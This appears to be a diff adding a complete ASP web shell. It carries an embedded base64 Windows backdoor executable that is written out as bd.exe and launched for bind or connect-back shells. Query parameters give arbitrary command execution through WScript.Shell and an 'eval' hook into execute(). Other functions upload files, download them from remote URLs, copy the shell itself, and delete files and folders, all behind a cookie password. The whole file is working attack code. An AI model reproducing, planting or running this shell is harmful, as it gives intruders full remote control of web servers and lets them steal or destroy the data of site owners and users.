+"ZzYLmKMO7B+GHMu2aballsz/AwI0FnfLsiwEAgENzlNBU9vmaAGIIQ4JAgj8lyctc4JQRUwBAwCJ" &_
+"C5Q/jIj9h+AADwELAQb0J3Zy2R3UFQQQAEAAEA+2YRNiEgcXYOxsFkyiDBAHy73sDQYAaESDR0DW" &_
+"DQii/B7WEBvBLhh0Oi6Q4LOQDTCY+mAuck2YdYaLJwlTA5pb7JRqQC4mJxwKUPKbkkFQwBO0RQAA" &_
+"aMVvsyQAAAD/AAAAAAAAAAAAAABgvgBQQACNvgDA//9Xg83/6xCQkJCQkJCKBkaIB0cB23UHix6D" &_
+"7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23PkMcmD6ANyDcHgCIoGRoPw/3R0" &_
+"icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHb" &_
+"c+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsCg8IEiQeDxwSD6QR38QHP6Uz/" &_
+"//9eife5cAAAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWI2OLZjb4A" &_
+"UAAAiwcJwHRFi18EjYQwAHAAAAHzUIPHCP+WUHAAAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+W" &_
+"VHAAAAnAdAeJA4PDBOvY/5ZkcAAAi65YcAAAjb4A8P//uwAQAABQVGoEU1f/1Y2H5wEAAIAgf4Bg" &_
+"KH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnbof//AAAAAAAAAAAAAAAAAAAAAAAAAHyAAABQgAAA" &_
+"AAAAAAAAAAAAAAAAiYAAAGyAAAAAAAAAAAAAAAAAAACWgAAAdIAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAoIAAAK6AAAC+gAAAzoAAANyAAADqgAAAAAAAAPiAAAAAAAAAcwAAgAAAAABLRVJORUwzMi5E" &_
+"TEwAQURWQVBJMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA" &_
+"AFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MA" &_
+"AABPcGVuU2VydmljZUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+shell_style = "" &_
+""
+
+'//################# FUNCTION GOES HERE #######################==============================================]
+Function xcleanpath(path)
+ path = urldecode(Trim(path))
+ strlen = Len(path)
+ If strlen > 0 Then
+ Do While((Mid(path,strlen) = "\") And (strlen > 0))
+ strlen = strlen - 1
+ path = Mid(path,1,strlen)
+ Loop
+ xcleanpath = path & "\"
+ Else
+ xcleanpath = path
+ End If
+End Function
+Function is_dir(path)
+ Set fs = CreateObject("Scripting.FileSystemObject")
+ If fs.FolderExists(path) Then
+ is_dir = true
+ Else
+ is_dir = false
+ End If
+ Set fs = nothing
+End Function
+Function is_file(path)
+ Set fs = CreateObject("Scripting.FileSystemObject")
+ If fs.FileExists(path) Then
+ is_file = true
+ Else
+ is_file = false
+ End If
+ Set fs = nothing
+End Function
+Function dirname(path)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If(is_file(path) Or is_dir(path)) Then
+ dirname = fs.getfilename(path)
+ Else
+ dirname = path
+ End If
+ set fs = nothing
+End Function
+Function nl2br(text)
+ nl2br = Replace(text, VbCrLf, " ")
+End Function
+Function urldecode(str)
+ str = Replace(str, "+", " ")
+ For i = 1 To Len(str)
+ sT = Mid(str, i, 1)
+ If sT = "%" Then
+ If i+2 < Len(str) Then
+ sR = sR & _
+ Chr(CLng("&H" & Mid(str, i+1, 2)))
+ i = i+2
+ End If
+ Else
+ sR = sR & sT
+ End If
+ Next
+ urldecode = sR
+End Function
+Function urlencode(str)
+ urlencode = Server.URLEncode(str)
+End Function
+Function base64_decode(base64String)
+ Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
+ base64String = Replace(base64String, vbCrLf, "")
+ base64String = Replace(base64String, vbTab, "")
+ base64String = Replace(base64String, " ", "")
+ dataLength = Len(base64String)
+ For groupBegin = 1 To dataLength Step 4
+ Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
+ numDataBytes = 3
+ nGroup = 0
+ For CharCounter = 0 To 3
+ thisChar = Mid(base64String, groupBegin + CharCounter, 1)
+ If thisChar = "=" Then
+ numDataBytes = numDataBytes - 1
+ thisData = 0
+ Else
+ thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
+ End If
+ nGroup = 64 * nGroup + thisData
+ Next
+ nGroup = Hex(nGroup)
+ nGroup = String(6 - Len(nGroup), "0") & nGroup
+ pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
+ Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
+ Chr(CByte("&H" & Mid(nGroup, 5, 2)))
+ sOut = sOut & Left(pOut, numDataBytes)
+ Next
+ base64_decode = sOut
+End Function
+Function sort(arr_)
+ buff = ""
+ For Each b in arr_
+ buff = buff & b & "|"
+ Next
+ If((Len(buff)-1) > 0) Then
+ arr = split(Mid(buff,1,Len(buff)-1),"|")
+ For i = UBound(arr) - 1 To 0 Step -1
+ For j= 0 To i
+ If((arr(j)) > (arr(j+1))) Then
+ temp=arr(j+1)
+ arr(j+1)=arr(j)
+ arr(j)=temp
+ End If
+ Next
+ Next
+ sort = arr
+ Else
+ sort = array()
+ End If
+End Function
+Function htmlspecialchars(text)
+ text = Replace(text,"&","&")
+ text = Replace(text,"""",""")
+ text = Replace(text,"'","'")
+ text = Replace(text,"<","<")
+ text = Replace(text,">",">")
+ htmlspecialchars = text
+End Function
+Function xfilesave(FileName, content)
+ Set FS = CreateObject("Scripting.FileSystemObject")
+ ByteArray = str2bin(content)
+ Set TextStream = FS.CreateTextFile(FileName)
+ TextStream.Write bin2str(ByteArray)
+ If is_file(Filename) Then
+ xfilesave = true
+ Else
+ xfilesave = false
+ End If
+End Function
+Function str2bin(S)
+ For i=1 To Len(S)
+ MultiByte = MultiByte & ChrB(Asc(Mid(S,i,1)))
+ Next
+ str2bin = MultiByte
+End Function
+Function bin2str(Binary)
+ For I = 1 To LenB(Binary)
+ S = S & Chr(AscB(MidB(Binary, I, 1)))
+ Next
+ bin2str = S
+End Function
+Function xfileopen(file,binary)
+ file = urldecode(file)
+ if(binary) Then
+ xfileopen = ReadBinaryFile(file)
+ Else
+ set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If fs.FileExists(file) Then
+ set f = fs.OpenTextFile(file,1,false)
+ If f.AtEndOfStream Then
+ xfileopen = ""
+ Else
+ xfileopen = f.ReadAll
+ End If
+ f.close
+ End If
+ set fs = nothing
+ End If
+End Function
+Function ReadBinaryFile(FileName)
+ Const adTypeBinary = 1
+ Set BinaryStream = CreateObject("ADODB.Stream")
+ BinaryStream.Type = adTypeBinary
+ BinaryStream.Open
+ BinaryStream.LoadFromFile FileName
+ ReadBinaryFile = BinaryStream.Read
+End Function
+Function xparsefilesize(size)
+ If(size <= 1024) Then
+ xparsefilesize = size
+ Else
+ If(size <= 1024*1024) Then
+ size = FormatNumber(size / 1024,2)
+ xparsefilesize = size & " kb"
+ Else
+ size = FormatNumber(size / 1024 / 1024,2)
+ xparsefilesize = size & " mb"
+ End If
+ End If
+End Function
+Function xfileperms(file)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ isreadable = "r"
+ iswriteable = "-"
+ If fs.FileExists(file) Then
+ Set f = fs.GetFile(file)
+ bit = f.Attributes
+ Set f = nothing
+ If Not (bit And 1) Then
+ iswriteable = "w"
+ End If
+ Elseif fs.FolderExists(file) Then
+ Set f = fs.GetFolder(file)
+ bit = f.Attributes
+ Set f = nothing
+ If Not (bit And 1) Then
+ iswriteable = "w"
+ End If
+ End If
+ Set fs = nothing
+ xfileperms = isreadable & " / " & iswriteable
+End Function
+Function xdateformat(tgl)
+ If(IsDate(tgl)) Then
+ xday = Day(tgl)
+ If Len(xday) = 1 Then
+ xday = "0" & xday
+ End If
+ xmonth = Mid(MonthName(Month(tgl)),1,3)
+ xdateformat = xday & "-" & xmonth & "-" & Year(tgl) & " " & FormatDateTime(tgl,4)
+ End If
+End Function
+Function xfilelastmodified(file)
+ If(Len(file) > 3) Then
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If fs.FileExists(file) Then
+ Set f = fs.GetFile(file)
+ tgl = f.DateLastModified
+ Set f = nothing
+ xfilelastmodified = xdateformat(tgl)
+ ElseIf fs.FolderExists(file) Then
+ Set f = fs.GetFolder(file)
+ tgl = f.DateLastModified
+ Set f = nothing
+ xfilelastmodified = xdateformat(tgl)
+ Else
+ xfilelastmodified = "???"
+ End If
+ Else
+ xfilelastmodified = xdateformat(CDate("01/01/1980 00:00"))
+ End If
+ Set fs = nothing
+End Function
+Function xparentfolder(dir)
+ dir = xcleanpath(dir)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If fs.FolderExists(dir) Then
+ If Len(dir) = 3 Then
+ xparentfolder = xcleanpath(dir)
+ Else
+ xparentfolder = xcleanpath(fs.GetParentFolderName(dir))
+ End If
+ Else
+ xparentfolder = dir
+ End If
+ Set fs = nothing
+End Function
+Function xfilesummary(file)
+ buff= ""
+ If(is_file(file)) Then
+ buff = "Filesize : " & xparsefilesize(xfilesize(file)) & " ( " & xfilesize(file) & " ) :: Permission : " & xfileperms(file) & " ( " & xfileowner(file) & " ) :: modified : " & xfilelastmodified(file)
+ End If
+ xfilesummary = buff
+End Function
+Function xfilesize(file)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If fs.FileExists(file) Then
+ Set f = fs.GetFile(file)
+ xfilesize = f.Size
+ Set f = nothing
+ Else
+ xfilesize = 0
+ End If
+ Set fs = nothing
+End Function
+Function xfileowner(strFile)
+ If Mid(strFile,Len(strFile)) = "\" Then
+ strfile = Mid(strfile,1,len(strfile)-1)
+ End If
+ On Error Resume Next
+ strComputer = "."
+ Set objWMIService = GetObject("winmgmts:" _
+ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
+ Set objCollection = objWMIService.ExecQuery _
+ ("ASSOCIATORS OF {Win32_LogicalFileSecuritySetting='" & strFile _
+ & "'} WHERE AssocClass=Win32_LogicalFileOwner ResultRole=Owner")
+ For Each objSID in objCollection
+ If objSID.AccountName <> "" Then
+ xfileowner = objSID.AccountName
+ End If
+ Next
+ If xfileowner = "" Then
+ xfileowner = "Everyone"
+ End If
+End Function
+Function ekse(cmd)
+ Set sh = Server.CreateObject("WScript.Shell")
+ curdir = Request.QueryString("dir")
+ if(curdir = "") Then
+ Dim CurPath
+ Set CurPath = CreateObject("Scripting.FileSystemObject")
+ curdir = CurPath.GetAbsolutePathName(".")
+ Set CurPath = nothing
+ End If
+ pos = InStr(curdir,":")
+ curdrive = Mid(curdir,1,pos)
+ chdir = curdrive & " && " & "CD """ & curdir & """"
+ Set pipe = sh.Exec("%COMSPEC% /C " & chdir & " && " & cmd)
+ output = pipe.StdOut.ReadAll() & pipe.StdErr.ReadAll()
+ Set sh = nothing
+ Set pipe = nothing
+ ekse = output
+End Function
+Function OSver()
+ Set WshShell = Server.CreateObject("Wscript.Shell")
+ Set OSchk = WshShell.Environment
+ OSver = OSchk("OS")
+ Set WshShell = nothing
+ Set OSchk = nothing
+ If (OSver = "") Then
+ OSver = ekse("ver")
+ End If
+End Function
+Function xtrim(str)
+ Set myRegExp = New RegExp
+ myRegExp.IgnoreCase = True
+ myRegExp.Global = True
+ myRegExp.Pattern = "^" & VbCrLf
+ xtrim = Trim(myRegExp.Replace(str,""))
+ myRegExp.Pattern = VbCrLf & "$"
+ xtrim = Trim(myRegExp.Replace(str,""))
+ Set myRegExp = nothing
+End Function
+Function xparsedir(dir)
+ dirs = split(dir,"\")
+ buff = ""
+ dlink = ""
+ For Each d in dirs
+ d = xtrim(d)
+ If(d <> "") Then
+ dlink = dlink & Server.URLEncode(d & "\")
+ buff = buff & "" & d & " " & "\" & " "
+ End If
+ Next
+ xparsedir = "[ " & buff & " ] "
+End Function
+Sub xwget(myURL,myPath)
+ Dim i, objFile, objFSO, objHTTP, strFile, strMsg
+ Const ForReading = 1, ForWriting = 2, ForAppending = 8
+ Set objFSO = CreateObject("Scripting.FileSystemObject")
+ If objFSO.FolderExists( myPath ) Then
+ strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) )
+ ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
+ strFile = myPath
+ Else
+ Exit Sub
+ End If
+ Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
+ Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
+ objHTTP.Open "GET", myURL, False
+ objHTTP.Send
+ For i = 1 To LenB( objHTTP.ResponseBody )
+ objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
+ Next
+ objFile.Close( )
+End Sub
+Function xrunexploit(fpath,base64,port,tipe)
+ con = base64_decode(base64)
+ fname = "bd.exe"
+ ip = ""
+ ok = false
+ fpath = xcleanpath(fpath) & fname
+ If(is_file(fpath)) Then
+ unlink(fpath)
+ End If
+ If(xfilesave(fpath,con)) Then
+ fpath = Trim(fpath)
+ If(tipe = "connect") Then ip = Request.ServerVariables("REMOTE_ADDR")
+ final = fpath & " " & port & " " & ip
+ ekse(Trim(final))
+ xrunexploit = true
+ Else
+ xrunexploit = false
+ End If
+End Function
+Function xdrive()
+ Dim fs,d,n,letters
+ letters = ""
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ Set d = fs.Drives
+ For Each letter in d
+ letter = mid(letter,1,1)
+ letters = "[ "
+ letters = letters & letter
+ letters = letters & " ] "
+ buff = buff & letters
+ Next
+ Set d = nothing
+ Set fs = nothing
+ If(buff <> "") Then
+ buff = buff & " "
+ End If
+ xdrive = buff
+End Function
+Public Sub xrmdir(path)
+ path = xcleanpath(path)
+ path = Mid(path,1,Len(path)-1)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ Set f = fs.GetFolder(path)
+ Set fname = f.Files
+ Set dname = f.subFolders
+ Set fs = nothing
+ For Each frm in fname
+ unlink(frm)
+ Next
+ For Each drm in dname
+ xrmdir(drm)
+ Next
+ f.Delete(true)
+ Set f = nothing
+End Sub
+Function unlink(path)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If fs.FileExists(path) Then
+ Set f = fs.GetFile(path)
+ f.Delete
+ Set f = nothing
+ End If
+ Set fs = nothing
+End Function
+Function mkdir(path)
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If Not fs.FolderExists(path) Then
+ fs.CreateFolder(path)
+ End If
+ Set fs = nothing
+End Function
+Function xdir(path)
+ path = Trim(urldecode(path))
+ path = xcleanpath(path)
+ buff = ""
+ If(is_dir(path)) Then
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ Set f = fs.GetFolder(path)
+ Set xfname = f.Files
+ Set xdname = f.subFolders
+ Set f = nothing
+ Set fs = nothing
+ xfname = sort(xfname)
+ xdname = sort(xdname)
+ buff = "" &_
+ "Filename " &_
+ "Filesize " &_
+ "Permission " &_
+ "Last Modified " &_
+ "Action "
+ If(Len(path) > 3) Then
+ sd = "."
+ dd = xcleanpath(path)
+ buff = buff & "" &_
+ "[ " & sd & " ] " &_
+ "DIR " &_
+ "" & xfileperms(dd) & " " &_
+ "" & xfilelastmodified(dd) & " " &_
+ "Properties | Remove " &_
+ " "
+ sd = ".."
+ dd = xcleanpath(xparentfolder(path))
+ buff = buff & "" &_
+ "[ " & sd & " ] " &_
+ "DIR " &_
+ "" & xfileperms(dd) & " " &_
+ "" & xfilelastmodified(dd) & " " &_
+ "Properties | Remove " &_
+ " "
+ End If
+ For Each d In xdname
+ sd = dirname(d)
+ nextdir = xcleanpath(path)
+ buff = buff & "" &_
+ "[ " & sd & " ] " &_
+ "DIR " &_
+ "" & xfileperms(d) & " " &_
+ "" & xfilelastmodified(d) & " " &_
+ "Properties | Remove " &_
+ " "
+ Next
+ For Each f In xfname
+ sf = dirname(f)
+ view = "?dir=" & urlencode(path) & "&view=" & urlencode(f)
+ buff = buff & "" &_
+ "" &_
+ sf & " " &_
+ "" & xparsefilesize(xfilesize(f)) & " " &_
+ "" & xfileperms(f) & " " &_
+ "" & xfilelastmodified(f) & " " &_
+ "Edit | Download | Remove " &_
+ " "
+ Next
+ buff = buff & "
"
+ xdir = buff
+ Set xdname = nothing
+ Set xfname = nothing
+ End If
+End Function
+Class FileUploader
+ Public Files
+ Private mcolFormElem
+ Private Sub Class_Initialize()
+ Set Files = Server.CreateObject("Scripting.Dictionary")
+ Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
+ End Sub
+ Private Sub Class_Terminate()
+ If IsObject(Files) Then
+ Files.RemoveAll()
+ Set Files = Nothing
+ End If
+ If IsObject(mcolFormElem) Then
+ mcolFormElem.RemoveAll()
+ Set mcolFormElem = Nothing
+ End If
+ End Sub
+ Public Property Get Form(sIndex)
+ Form = ""
+ If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
+ End Property
+ Public Default Sub Upload()
+ biData = Request.BinaryRead(Request.TotalBytes)
+ nPosBegin = 1
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
+ If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
+ vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
+ nDataBoundPos = InstrB(1, biData, vDataBounds)
+ Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
+ nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
+ nPos = InstrB(nPos, biData, CByteString("name="))
+ nPosBegin = nPos + 6
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
+ sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
+ nPosBound = InstrB(nPosEnd, biData, vDataBounds)
+ If nPosFile <> 0 And nPosFile < nPosBound Then
+ Set oUploadFile = New UploadedFile
+ nPosBegin = nPosFile + 10
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
+ sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
+
+ nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
+ nPosBegin = nPos + 14
+ nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
+
+ oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+
+ nPosBegin = nPosEnd+4
+ nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
+ oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
+
+ If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
+ Else
+ nPos = InstrB(nPos, biData, CByteString(Chr(13)))
+ nPosBegin = nPos + 4
+ nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
+ If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
+ End If
+ nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
+ Loop
+ End Sub
+ Private Function CByteString(sString)
+ For nIndex = 1 to Len(sString)
+ CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
+ Next
+ End Function
+ Private Function CWideString(bsString)
+ CWideString =""
+ For nIndex = 1 to LenB(bsString)
+ CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
+ Next
+ End Function
+End Class
+Class UploadedFile
+ Public ContentType
+ Public FileName
+ Public FileData
+ Public Property Get FileSize()
+ FileSize = LenB(FileData)
+ End Property
+ Public Sub SaveToDisk(sPath)
+ If sPath = "" Or FileName = "" Then Exit Sub
+ If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
+ Set oFS = Server.CreateObject("Scripting.FileSystemObject")
+ If Not oFS.FolderExists(sPath) Then Exit Sub
+ Set oFile = oFS.CreateTextFile(sPath & FileName, True)
+ For nIndex = 1 to LenB(FileData)
+ oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
+ Next
+ oFile.Close
+ End Sub
+End Class
+'//################# INIT GOES HERE #######################==================================================]
+If(Request.Form("passw") <> "") Then
+ check = Trim(Request.Form("passw"))
+ If(check = shell_password) Then
+ Response.Cookies("pass") = check
+ Response.Cookies("pass").Expires = Date + 7
+ Else
+ Response.Cookies("pass") = check
+ Response.Cookies("pass").Expires = Date - 7
+ End If
+End If
+If(Request.Cookies("pass") <> "") Then
+ check = Request.Cookies("pass")
+Else
+ check = ""
+End If
+If(check = shell_password) Then
+ auth = true
+Else
+ auth = false
+End If
+If(Request.QueryString("img") <> "") Then
+ file = Request.QueryString("img")
+ if(is_file(file)) Then
+ Response.Clear
+ Response.ContentType= "image/jpeg"
+ Response.BinaryWrite ReadBinaryFile(file)
+ Response.End
+ Else
+ Response.Clear
+ Response.Buffer = true
+ Response.ContentType = "image/png"
+ If file = "bg" Then
+ buff = str2bin(base64_decode(bg))
+ Else
+ buff = str2bin(base64_decode(icon))
+ End If
+ Response.BinaryWrite buff
+ Response.End
+ End If
+End If
+If(Request.QueryString("get") <> "") Then
+ file = Request.QueryString("get")
+ fname = Mid(file,InStrRev(file,"\")+1)
+ Response.ContentType = "application/x-msdownload"
+ Response.AddHeader "Content-transfer-encoding", "binary"
+ Response.AddHeader "Content-Disposition", "attachment;filename="& fname &""
+ dim txt, objStream
+ Set objStream = Server.CreateObject("ADODB.Stream")
+ objStream.Mode = 3
+ objStream.open
+ objStream.loadfromfile file
+ txt = objStream.readtext(-1)
+ response.binarywrite(txt)
+ objStream.close
+ set objStream = nothing
+ txt = null
+ Response.End
+End If
+If((Request.QueryString("btnConnect") <> "") And (IsNumeric(Request.QueryString("bportC")))) Then
+ port = Request.QueryString("bportC")
+ dir = xcleanpath(Trim(Request.QueryString("dir")))
+ If(xrunexploit(dir,wBind,port,"connect"))Then
+ End If
+ElseIf((Request.QueryString("btnListen") <> "") And (IsNumeric(Request.QueryString("lportC")))) Then
+ port = Request.QueryString("lportC")
+ dir = xcleanpath(Trim(Request.QueryString("dir")))
+ if(xrunexploit(dir,wBind,port,"listen"))Then
+ End If
+End If
+uploaded = false
+If(Request.QueryString("dir") = "") Then
+ xCwd = Mid(Request.ServerVariables("PATH_TRANSLATED"),1,InStrRev(Request.ServerVariables("PATH_TRANSLATED"),"\"))
+Else
+ newdir = xcleanpath(Trim(Request.QueryString("dir")))
+ If (is_dir(newdir)) Then
+ xCwd = newdir
+ End If
+ If(Request.QueryString("upload") <> "") Then
+ uploaded = true
+ Set Up = New FileUploader
+ Up.Upload()
+ If(Up.Form("btnNewUploadLocal") <> "") Then
+ Uploaded = true
+ If Up.Files.Count > 0 Then
+ For Each File In Up.Files.Items
+ If(Up.Form("filename") <> "") Then File.Filename = Up.Form("filename")
+ File.SaveToDisk xCwd
+ Next
+ End If
+ Elseif(Up.Form("btnNewUploadUrl") <> "") Then
+ targeturl = Up.Form("fileurl")
+ If targeturl <> "" Then
+ If(Up.Form("filename") <> "") Then
+ upname = Up.Form("filename")
+ Else
+ upname = Mid(targeturl,InStrRev(targeturl,"/"))
+ End If
+ targetpath = xCwd & upname
+ xwget targeturl,targetpath
+ End If
+ End If
+
+ End If
+ If(Request.QueryString("foldername") <> "") Then
+ fname = xcleanpath(Trim(Request.QueryString("foldername")))
+ If(NOT is_dir(newdir & fname)) Then
+ mkdir(newdir & fname)
+ End If
+ ElseIf(Request.QueryString("del") <> "") Then
+ fdel = Trim(Request.QueryString("del"))
+ If(is_file(fdel)) Then
+ unlink(fdel)
+ Elseif(is_dir(fdel)) Then
+ xrmdir(fdel)
+ newdir = xparentfolder(fdel)
+ End If
+ Elseif(Request.QueryString("childname") <> "") Then
+ childname = newdir & Trim(Request.QueryString("childname"))
+ con = xfileopen(Request.ServerVariables("PATH_TRANSLATED"),false)
+ If(xfilesave(childname,con)) Then
+ End If
+ End If
+End If
+xCwd = xcleanpath(xCwd)
+If(Request.QueryString("cmd") <> "") Then
+ Dim cmd,pos,newdir
+ cmd = Trim(Request.QueryString("cmd"))
+ pos = InStr(LCase(cmd),"cd ")
+ If pos = 1 Then
+ newdir = Trim(Mid(cmd,3))
+ if(newdir = "\") Then
+ xCwd = Mid(xCwd,1,3)
+ Else
+ If(InStr(newdir,":") > 0) Then
+ if(is_dir(newdir)) Then
+ xCwd = xcleanpath(newdir)
+ Set CurPath = CreateObject("Scripting.FileSystemObject")
+ xCwd = xcleanpath(CurPath.GetAbsolutePathName(xcwd))
+ Set CurPath = nothing
+ End If
+ Else
+ If(is_dir(xCwd & newdir)) Then
+ xCwd = xcleanpath(xCwd & newdir)
+ Set CurPath = CreateObject("Scripting.FileSystemObject")
+ xCwd = xcleanpath(CurPath.GetAbsolutePathName(xcwd))
+ Set CurPath = nothing
+ End If
+ End If
+ End If
+ result = xdir(xCwd)
+ ElseIf((Len(cmd) <= 3) And (InStr(cmd,":") > 0)) Then
+ If(is_dir(cmd)) Then
+ xCwd = UCase(Mid(cmd,1,1)) & ":\"
+ End If
+ result = xdir(xCwd)
+ Else
+ result = ekse(cmd)
+ if(result = "") Then
+ result = xdir(xCwd)
+ Else
+ result = Replace(htmlspecialchars(result), " ", " ")
+ result = nl2br(result)
+ End If
+ End If
+ElseIf(Request.QueryString("eval") <> "") Then
+ Response.ContentType = "text/html"
+ sblm = Mid(Request.QueryString,5,InStr(Request.QueryString,"eval") - 6)
+ Response.Write ""
+ Response.Write execute(Request.QueryString("eval"))
+ Response.End
+ElseIf(Request.QueryString("properties") <> "") Then
+ fname = xcleanpath(Request.QueryString("properties"))
+ If(Request.QueryString("oldfilename") <> "") Then
+ oldname = Request.QueryString("oldfilename")
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ If(is_file(oldname)) Then
+ Set f = fs.GetFile(oldname)
+ Elseif(is_dir(oldname)) Then
+ Set f = fs.GetFolder(oldname)
+ End If
+ f.Move(fname)
+ set f = nothing
+ set fs = nothing
+ End If
+ dir = Request.QueryString("dir")
+ fcont = ""
+ fview = ""
+ If(is_dir(fname)) Then
+ fsize = "DIR"
+ fname = Mid(fname,1,Len(fname)-1)
+ fcont = xdir(fname)
+ faction = "Properties | Remove "
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ Set f = fs.GetFolder(fname)
+ filectime = xdateformat(f.DateCreated)
+ fileatime = xdateformat(f.DateLastAccessed)
+ filemtime = xdateformat(f.DateLastModified)
+ set f=nothing
+ set fs=nothing
+ Else
+ fname = Mid(fname,1,Len(fname)-1)
+ fsize = xparsefilesize(xfilesize(fname)) & " ( " & xfilesize(fname) & " bytes ) "
+ xtype = ""
+ If(Request.QueryString("type") <> "") Then
+ xtype = Request.QueryString("type")
+ Else
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ Set f = fs.GetFile(fname)
+ contype = LCase(f.Type)
+ If(InStr(contype,"image")) Then
+ xtype = "img"
+ Else
+ xtype = "text"
+ End If
+ End If
+ If(xtype = "text") Then
+ code = htmlspecialchars(xfileopen(fname,false))
+ fcont = "
" & nl2br(code) & "
"
+ Elseif(xtype = "img") Then
+ imglink = "[ view full size ]
"
+ fcont = "" & imglink & "
"
+ Else
+ fcont = ""
+ End If
+ Set fs = Server.CreateObject("Scripting.FileSystemObject")
+ Set f = fs.GetFile(fname)
+ filectime = xdateformat(f.DateCreated)
+ fileatime = xdateformat(f.DateLastAccessed)
+ filemtime = xdateformat(f.DateLastModified)
+ set f=nothing
+ set fs=nothing
+ faction = "Edit | Download | Remove "
+ fview = "[ text ] [ image ] "
+ End If
+ fowner = xfileowner(fname)
+ fperm = xfileperms(fname)
+ result = ""
+ElseIf((Request.QueryString("view") <> "") Or (Request.QueryString("filename") <> "")) Then
+ msg = ""
+ If(Request.Form("save") = "Save As") Then
+ file = Trim(Request.Form("saveas"))
+ content = Request.Form("filesource")
+ If(xfilesave(file,content)) Then
+ pesan = "File Saved"
+ Else
+ pesan = "Failed to save file"
+ End If
+ msg = "[ " & pesan & " ] "
+ Else
+ If(Request.QueryString("view") <> "") Then
+ file = Trim(Request.QueryString("view"))
+ Else
+ file = xCwd & Trim(Request.QueryString("filename"))
+ End If
+ End If
+ result = xfileopen(file,false)
+ result = htmlspecialchars(result)
+ result = "" & xfilesummary(file) & " " & msg & "
" &_
+ ""
+Else
+ result = xdir(xCwd)
+End If
+'//################# Finalizing #######################======================================================]
+If(auth) Then
+ If(Request.QueryString("bportC") <> "") Then
+ bportC = Request.QueryString("bportC")
